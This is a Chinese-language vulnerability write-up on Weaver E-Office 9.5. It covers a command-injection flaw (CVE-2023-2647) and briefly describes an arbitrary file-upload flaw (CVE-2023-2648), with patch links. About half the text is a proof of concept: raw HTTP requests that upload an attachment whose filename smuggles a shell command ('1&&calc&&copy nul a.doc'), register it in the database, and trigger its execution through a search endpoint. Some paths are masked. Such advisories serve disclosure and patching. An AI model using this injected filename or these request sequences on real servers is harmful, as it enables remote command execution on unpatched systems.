泛微 E-Office 命令注入漏洞 CVE-2023-2647

漏洞描述

泛微 E-Office 9.5版本中文件上传处理程序接口/webroot/inc/utility_all.php存在命令注入漏洞，攻击者可以通过远程控制接口输入恶意命令执行恶意操作。

漏洞级别

严重

影响范围

泛微 E-Office 9.5

漏洞修复

https://www.weaver.com.cn/cs/securityDownload.html#
https://service.e-office.cn/downloa
https://service.e-office.cn/knowledge/detail/5

weaver E-Office v9.5 命令执行漏洞

官网：

https://www.e-office.cn/

版本：v9.5

漏洞利用函数出现在 /webroot/inc/utility_all.php 的第 1007-1008 行。自定义函数doc2txt()调用了exec()函数，$path变量不受用户控制，可以使用命令连接符号“&&”注入任意命令。

漏洞触发点位于/webroot/general/file_folder/global_search.php文件中。我们在第108行调用doc2txt()，然后追溯doc2txt()参数$FILE_PATH的来源，将附件目录(C: eoffice9webrootattachment) 以获取完整的文件路径。

注意在php配置文件（php.ini）中启用了注册全局变量设置（register_globals = On），所以第93行变量$ATTACHMENT_DATA和第106行变量$SEARCH_DOC的值需要用户在GET/POST .而103行会检查文件是否存在，所以不应该包含在命令执行中的文件中不能使用/| < > : * "? 特殊符号。

附件所在文件夹：

查看该目录下的文件：

利用漏洞

创建一个名为 test 的普通用户，角色为 employee。

以测试用户登录，进入文档中心->新建文档，创建一个文档并上传名为“1&&calc&© nul a.doc”的附件，然后点击提交。

上传附件：

upload attachment 更新数据表附件信息。

访问漏洞触发页面。 

http://172.16.10.124/general/xxx/xxx.php?ATTACHMENT_DATA=1&SEARCH_DOC=on

登录服务器查看进程并启用Windows计算器。

POC

上传附件

POST /inc/jquery/xxx/xxx.php HTTP/1.1
Host: 172.16.10.124
Content-Length: 328
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1ZCUAAAXxnYuVIZR
Accept: */*
Origin: http://172.16.10.124
Referer: http://172.16.10.124/general/file_folder/file_new/neworedit/index.php?FILE_SORT=1&func_id=7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: LOGIN_LANG=cn; PHPSESSID=16a132db599e8d54a45e704389a29686
Connection: close

------WebKitFormBoundary1ZCUAAAXxnYuVIZR
Content-Disposition: form-data; name="name"

1&&calc&&copy nul a.doc
------WebKitFormBoundary1ZCUAAAXxnYuVIZR
Content-Disposition: form-data; name="Filedata"; filename="xxx"
Content-Type: application/msword

aaaaa
------WebKitFormBoundary1ZCUAAAXxnYuVIZR--

更新数据表中的数据

POST /general/xxx/xxx/xxx/xxx.php?func_id=3 HTTP/1.1
Host: 172.16.10.124
Content-Length: 2426
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.10.124
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2JIQiWFev9A8p6UP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.10.124/general/file_folder/file_new/neworedit/index.php?FILE_SORT=1&func_id=7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: MODE_TILE=tree; LOGIN_LANG=cn; LOGIN_LANG=cn; PHPSESSID=16a132db599e8d54a45e704389a29686
Connection: close

------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="check_log_id"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="attachmentIDStr"

1575146901,
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="attachmentNameStr"

1&&calc&&copy nul a.doc*
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="filename_id"

eoffice9.0功能资料
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="SORT_ID"

28
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="SUBJECT"

test
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="type_value"

1
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="file_elem"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="SMS_USER_ID"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="MOVEBILE_USER_ID"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="EMAIL_USER_ID"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="refreshno"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="content_type"

1
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="CONTENT_ID"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="OP"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="FILE_SORT"

1
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="cur_page"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="operationType"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="docStr"


------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="contentTypeStr"

html
------WebKitFormBoundary2JIQiWFev9A8p6UP
Content-Disposition: form-data; name="editorValue"


------WebKitFormBoundary2JIQiWFev9A8p6UP--

访问触发页面

GET /general/xxx/xxx.php?ATTACHMENT_DATA=1&SEARCH_DOC=on HTTP/1.1
Host: 172.16.10.124
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: LOGIN_LANG=cn; PHPSESSID=16a132db599e8d54a45e704389a29686
Connection: close

泛微 E-Office 任意文件上传漏洞 CVE-2023-2648

漏洞描述

泛微 E-Office 9.5版本中文件上传处理程序接口/inc/jquery/uploadify/uploadify.php参数Filedata的操作导致任意文件上传，攻击者可以通过远程控制接口上传恶意文件。

漏洞级别

严重

影响范围

泛微 E-Office 9.5

漏洞修复

https://www.weaver.com.cn/cs/securityDownload.html#
https://service.e-office.cn/downloa
https://service.e-office.cn/knowledge/detail/5